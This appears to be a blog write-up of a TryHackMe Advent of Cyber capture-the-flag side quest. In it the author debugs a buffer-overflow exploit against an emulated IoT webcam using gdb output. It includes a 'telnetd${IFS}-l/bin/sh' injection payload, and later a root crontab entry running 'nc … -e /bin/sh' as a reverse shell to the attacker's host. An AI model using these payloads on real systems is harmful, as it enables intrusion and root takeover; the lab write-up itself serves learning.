AoCyber: Side Quest 2 Part 3

See this years' other rooms as well:

SQ 1: Day 0
SQ 2: Day 6
SQ 3: Day 11
SQ 4: Day 20

Index of this challenge:

SQ2-0
SQ2-1
SQ2-2
SQ2-3

Plus Ultra Webcams - The Entry-point

In the last post we were able to use directory traversal to cheese out the credentials and flags from the service, but I wanted to include this extra bit as there's also a buffer overflow available as well. I did not personally find this overflow, but during my search for the webcam software and emux vulnerabilities I found other's exploits using Python to craft a payload with the bits already set just so. However they were all out of date Python scripts that didn't work out of the box, and since I didn't understand overflows as well as I wanted to, I decided to take a shot and see if I could reverse engineer the scripts that were reverse engineered from the web service.

Riding the coat tails of my forebearers, if you will.

As a reminder, the webcam service is an implementation of this process from therealsaumil and it's a fantastic framework for emulating IoT devices to explore.

Please note that in this article, I still do not have claim to authoritatively discuss buffer overflows, but I'd like to articulate my journey so far on my way to attempting to be authoritative enough to discuss buffer overflows. And in the interest of the author's post to a random script uploading directory, I will not share the source code but will instead just explain the process I used to debug that script.

TL;DR:

A buffer overflow is the behavior with which data is written beyond its intended memory space, and to exploit such is to write the data in such a way that you inject a payload or access a method by pushing this data into the next executing byte.

Basically cutting in line at the 15 item only processor checkout with 100 items such that the person in front of you pays for your items. At some point this analogy breaks down, but lets continue.

Lets try blind running our script kiddy goodness.

At the very least I can tell you that this program generates a bunch of text, adds some memory location references to the end of it, adds some more text, adds a shell payload that starts TelnetD, and then finally adds it to a URI method calling one of the asp forms that were identified in the last article.

The intention appears to be using up a specific amount of memory with the asp method and then to pass a " telnetd${IFS}-l/bin/sh;# " payload. It finishes by connecting to the remote telnet port to give the user access to the shell as the webcam service user.

┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/ass]
└─$ python3 easymode.py localhost 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py:2: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  from telnetlib import Telnet
Traceback (most recent call last):
  File "/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py", line 72, in <module>
    buf += "BBBB"
TypeError: can't concat str to bytes

Ah classic Python typing errors. Lets fix those up naively (i.e. incorrectly, like I did)

The attacker is starting with a string, so he's going to get a string! Type hinting!

Fixing the bytes to all be a string and sending it across the socket seemed to get Python satisfied, but the connection is failing.

┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/ass]
└─$ python3 easymode.py localhost 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py:2: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  from telnetlib import Telnet
*** Connection closed by remote host ***

In another terminal, I started up emuxgdb on the webs web server that we used to find config files before. Here's what this looks like before it crashes. Remember: This is all also hosted locally on my attack box to test these vulnerabilities before executing them on the remote system.

Program received signal SIGSEGV, Segmentation fault.
0x5c582762 in ?? ()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0  : 0x400876b8  →  0x400855e8  →  0x40087200  →  0x40085e00  →  0x40086ff8  →  0x40086618  →  0x40086410  →  0x400878c0
$r1  : 0x000757b4  →  0x40083cb0  →  0x40087450  →  0x40086c88  →  0x40086e90  →  0x40086ef0  →  0x40086ca0  →  0x40086d00
$r2  : 0x5       
$r3  : 0x400876c0  →  "http://BBBBBBBBBBBB/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r4  : 0x41414141 ("AAAA"?)
$r5  : 0x41414141 ("AAAA"?)
$r6  : 0x70414141 ("AAAp"?)
$r7  : 0x0007580c  →  0x00000006
$r8  : 0x3       
$r9  : 0x40085640  →  "text/html"
$r10 : 0x0       
$r11 : 0xbefffbd0  →  0x00000000
$r12 : 0x400855e8  →  0x40087200  →  0x40085e00  →  0x40086ff8  →  0x40086618  →  0x40086410  →  0x400878c0  →  0x40087b28 ("({\b@"?)
$sp  : 0xbefff5c8  →  0x5c623078 ("x0b\"?)
$lr  : 0x5c582762 ("b'X\"?)
$pc  : 0x5c582762 ("b'X\"?)
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbefff5c8│+0x0000: 0x5c623078   ← $sp
0xbefff5cc│+0x0004: 0x40363078
0xbefff5d0│+0x0008: 0x42424227
0xbefff5d4│+0x000c: 0x43434342
0xbefff5d8│+0x0010: 0x5c276243
0xbefff5dc│+0x0014: 0x5c633978
0xbefff5e0│+0x0018: 0x5c373078
0xbefff5e4│+0x001c: 0x40363078
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x5c582762
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0x5c582762 in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

If you're anything like me, it's all Greek to you too. But here's some key takeaways: Those $r#'s are all memory pointers in the program, like variables. In $r3-$r6 you can clearly see random garbled text that was generated by this script. Our goal is to inject our payload in such a way that the $sp register points to the memory location of our stored process to be evaluated and executed. Let's try changing some of the commented out text in the script to see if it nudges anything.

Program received signal SIGSEGV, Segmentation fault.
0x5c582762 in ?? ()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0  : 0x400876b8  →  0x400855e8  →  0x40087200  →  0x40085e00  →  0x40086ff8  →  0x40086618  →  0x40086410  →  0x400878c0
$r1  : 0x000757b4  →  0x40083c80  →  0x40087450  →  0x40086c88  →  0x40086e90  →  0x40086ef0  →  0x40086ca0  →  0x40086d00
$r2  : 0x5       
$r3  : 0x400876c0  →  "http://BBBBBBBBBBBB/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r4  : 0x41414141 ("AAAA"?)
$r5  : 0x41414141 ("AAAA"?)
$r6  : 0x70414141 ("AAAp"?)
$r7  : 0x0007580c  →  0x00000006
$r8  : 0x3       
$r9  : 0x40085640  →  "text/html"
$r10 : 0x0       
$r11 : 0xbefffbd0  →  0x00000000
$r12 : 0x400855e8  →  0x40087200  →  0x40085e00  →  0x40086ff8  →  0x40086618  →  0x40086410  →  0x400878c0  →  0x40087b28 ("({\b@"?)
$sp  : 0xbefff5c8  →  "x0b\x06@'BBBBCCCCDDDDb'\x9c\x07\x06@'EEEEb'\x98J\x[...]"
$lr  : 0x5c582762 ("b'X\"?)
$pc  : 0x5c582762 ("b'X\"?)
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbefff5c8│+0x0000: "x0b\x06@'BBBBCCCCDDDDb'\x9c\x07\x06@'EEEEb'\x98J\x[...]"    ← $sp
0xbefff5cc│+0x0004: 0x40363078
0xbefff5d0│+0x0008: 0x42424227
0xbefff5d4│+0x000c: 0x43434342
0xbefff5d8│+0x0010: 0x44444443
0xbefff5dc│+0x0014: 0x5c276244
0xbefff5e0│+0x0018: 0x5c633978
0xbefff5e4│+0x001c: 0x5c373078
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x5c582762
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0x5c582762 in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Again we crashed, but now we can see some of the data, and it LOOKS like hex to me! Don't judge me if you know better already.

This would have been a screen the original author might have even seen at one point as they played with sending data and subtly changing values to figure out how many bytes to send across the wire to write just the right amount to execute their payload... Someday I will go research the arcana necessary to do so as well. But for today, let's just look at what we found a bit closer.

There's a whole lot of hex in here, but there's also truncated hex and ascii @ mixed in to where I'd have expected more \x## references... perhaps the string I encoded isn't being sent properly to the application, and perhaps the original was closer than I originally thought. I'll revert my changes and switch the string to a bytestring instead and try again.

This time the debugger didn't crash, it just sat there looking stupid (as there was no break points set up yet, which is apparently a thing you can do) but I got this odd output from my script:

┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/ass]
└─$ python3 easymode.py localhost 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py:2: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  from telnetlib import Telnet



BusyBox v1.21.1 (2013-12-19 20:11:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# 

What's a nice looking shell like you doing in a place like this? Will it work on the remote machine?

┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/ass]
└─$ python3 easymode.py 10.10.232.34 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py:2: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  from telnetlib import Telnet



BusyBox v1.21.1 (2013-12-19 20:11:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# 

Yes it did! Let's confirm where we're at by checking on that admin password in a config we know exists.

# cat /var/etc/umconfig.txt
cat /var/etc/umconfig.txt
TABLE=users

ROW=0
name=admin
password=<redacted>
group=administrators
prot=0
disable=0

It can and it certainly does.

Thinking about this architecture from the github documentation, this is actually a QEMU device inside a docker container, with lots of pathways to make it work properly, which also means it's likely a bit vulnerable. Lets see what we can see.

# ps w l
ps w l
S   UID   PID  PPID   VSZ   RSS TTY   STIME TIME     CMD
S     0     1     0  1808   480 0:0   18:59 00:00:00 init
S     0     2     0     0     0 0:0   18:59 00:00:00 [kthreadd]
S     0     3     2     0     0 0:0   18:59 00:00:00 [ksoftirqd/0]
S     0     4     2     0     0 0:0   18:59 00:00:00 [watchdog/0]
S     0     5     2     0     0 0:0   18:59 00:00:00 [events/0]
R     0     6     2     0     0 0:0   18:59 00:00:10 [khelper]
S     0   117     2     0     0 0:0   18:59 00:00:00 [kblockd/0]
S     0   124     2     0     0 0:0   18:59 00:00:00 [kseriod]
S     0   127     2     0     0 0:0   18:59 00:00:00 [kmmcd]
S     0   152     2     0     0 0:0   18:59 00:00:00 [pdflush]
S     0   153     2     0     0 0:0   18:59 00:00:00 [pdflush]
S     0   154     2     0     0 0:0   18:59 00:00:00 [kswapd0]
S     0   155     2     0     0 0:0   18:59 00:00:00 [aio/0]
S     0   156     2     0     0 0:0   18:59 00:00:00 [nfsiod]
S     0   314     2     0     0 0:0   18:59 00:00:00 [scsi_tgtd/0]
S     0   318     2     0     0 0:0   18:59 00:00:00 [scsi_eh_0]
S     0   340     2     0     0 0:0   19:00 00:00:00 [mtdblockd]
S     0   356     2     0     0 0:0   19:00 00:00:00 [kpsmoused]
S     0   368     2     0     0 0:0   19:00 00:00:00 [hid_compat]
S     0   371     2     0     0 0:0   19:00 00:00:00 [rpciod/0]
S     0   372     2     0     0 0:0   19:00 00:00:00 [v9fs/0]
S     0   373     2     0     0 0:0   19:00 00:00:00 [v9fs-poll]
S     0   390     1  1800   424 0:0   19:00 00:00:00 /sbin/syslogd -n
S     0   394     1  1796   416 0:0   19:00 00:00:00 /sbin/klogd -n
S     0   421     1   888   328 0:0   19:00 00:00:01 dcron -L /dev/null
S     0   427     1  1068   364 0:0   19:00 00:00:00 /usr/sbin/dropbear -p 22222 -R
S     0   438     1   912   380 204:64 19:00 00:00:00 /sbin/agetty -p -L ttyAMA0 115200 vt100
S     0   439   427  1092   536 0:0   19:00 00:00:00 /usr/sbin/dropbear -p 22222 -R
S     0   440   439  2704  1080 0:0   19:00 00:00:00 {run-init} /bin/bash ./run-init
S     0   463   440   908   372 0:0   19:00 00:00:00 script -a -f -c chroot /emux/TRI227WF/rootfs /.emux/emuxinit /home/r0/workspac
S     0   464   463   892   304 pts0  19:00 00:00:00 {emuxinit} /bin/sh /.emux/emuxinit
S     0   516     1   888   272 0:0   19:00 00:00:00 syslogd
S     0   518     1   884   252 0:0   19:00 00:00:00 klogd
D     0   561     1   776   260 pts0  19:00 00:00:13 nvctl
S     0   567     1  1484   388 pts0  19:00 00:00:07 inetd_tcp
S     0   612     1   832   364 pts0  19:00 00:00:03 netmgr
S     0   618     1   732   284 pts0  19:00 00:00:00 storage
S     0   627     1  1488   396 pts0  19:00 00:00:00 nvrd
S     0   646     1   736   292 pts0  19:00 00:00:00 httpclient -c /var/config/httpclient_task15.conf
S     0   651     1   768   356 pts0  19:00 00:00:00 taskmgr
S     0   656   464   896   348 pts0  19:00 00:00:00 /bin/sh
S     0   915     1   604   316 pts0  19:00 00:00:01 ndcpd
S     0   921     1   504   228 pts0  19:00 00:00:00 ndcpd2
S     0   931     1   524   244 pts0  19:00 00:00:00 ndcpd3
S     0   948     1  1016   560 pts0  19:00 00:00:00 upnpd eth0
S     0   957   948  1016   560 pts0  19:00 00:00:00 upnpd eth0
S     0   958   957  1016   560 pts0  19:00 00:00:00 upnpd eth0
S     0   963   957  1016   560 pts0  19:00 00:00:00 upnpd eth0
S     0   969   957  1016   560 pts0  19:00 00:00:00 upnpd eth0
S     0   973   957  1016   560 pts0  19:00 00:00:00 upnpd eth0
S     0   979     1   920   440 pts0  19:00 00:00:00 onvifn
S     0   987     1  3128   424 pts0  19:00 00:00:00 onvifd
S     0   992     1  1788   716 pts0  19:00 00:00:07 ipcamd
S     0  1003   992  1788   716 pts0  19:00 00:00:00 ipcamd
Z     0  7907   421     0     0 0:0   22:53 00:00:00 [test-eth0.sh]
S     0  7908   421  1804   452 0:0   22:53 00:00:00 /bin/sh -c sleep 40; /root/test-eth0.sh >/dev/null 2>&1
S     0  7909   421  1804   452 0:0   22:53 00:00:00 /bin/sh -c sleep 50; /root/test-eth0.sh >/dev/null 2>&1
S     0  7915  7908  1796   356 0:0   22:53 00:00:00 sleep 40
S     0  7921  7909  1796   356 0:0   22:53 00:00:00 sleep 50
R     0 11088 21784   888   312 3:0   22:53 00:00:00 ps w l
S     0 21241     1   892   268 0:0   22:49 00:00:00 telnetd -l/bin/sh
S     0 21784 21241   896   360 3:0   22:49 00:00:00 /bin/sh
S     0 21971     1  1476   468 0:0   22:50 00:00:00 webs

It sure looks like a lot more stuff is running in here than one might expect, maybe this means there's pollution of the PID namespace. Let's see if we can see anything that the PIDs might also be able to see. Remember: We can always confirm our findings by looking at the contents of the local container we spun up earlier.

# pwd
pwd
/proc/1

# ls root
ls root
bin         etc         lib32       media       proc        sbin        usr
dev         home        linuxrc     mnt         root        sys         var
emux        lib         lost+found  opt         run         tmp

# ls /    
ls /
bin   dev   etc   home  lib   proc  root  sbin  sys   tmp   usr   var

Ho ho ho, look what we have here, a root folder that's different than the webcam root folder.

A classic go-to is to use a service script that's already being run with elevated privileges to start a reverse shell with those privileges. Only way to see if we can is to try!

# ls /proc/1/root/usr/bin | grep nc
fincore
nc
rsync
truncate
uuencode

We even have a nice copy of nc right here on that box, now for somewhere to plug it...

# pwd
pwd
/proc/1/root/etc/crontabs
# cat root
cat root
* * * * * /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 10; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 20; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 30; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 40; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 50; /root/test-eth0.sh >/dev/null 2>&1

Uh yeah that will work.

# echo "* * * * * /usr/bin/nc 10.13.8.186 4444 -e /bin/sh" >> root
echo "* * * * * /usr/bin/nc 10.13.8.186 4444 -e /bin/sh" >> root
# cat root
cat root
* * * * * /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 10; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 20; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 30; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 40; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 50; /root/test-eth0.sh >/dev/null 2>&1

* * * * * /usr/bin/nc 10.13.8.186 4444 -e /bin/sh
# 

Now we wait...

┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/emux-master]
└─$ nc -lvnp 4444      
listening on [any] 4444 ...
connect to [10.13.8.186] from (UNKNOWN) [10.10.232.34] 58730

ls
---
index.html
test-eth0.sh

ls /
---
bin
dev
emux
etc
home
lib
lib32
linuxrc
lost+found
media
mnt
opt
proc
root
run
sbin
sys
tmp
usr
var

whoami
---
root

By golly we did it! Using the same techniques I wasn't able to break out of the container proper as of the time of this writing, but if there were a flag to be had here it would be so sweet.

Editor's note: This was apparently a great hint moving into SQ3! Well done again, THM.

It turns out that the port 23 was unused by anything, and simply socat forwarding to the emux QEMU nested container in case an attacker just wanted to waltz on in.

This was a great ending to this side quest and it's got me itching for more.

Side Quest 3 Part 0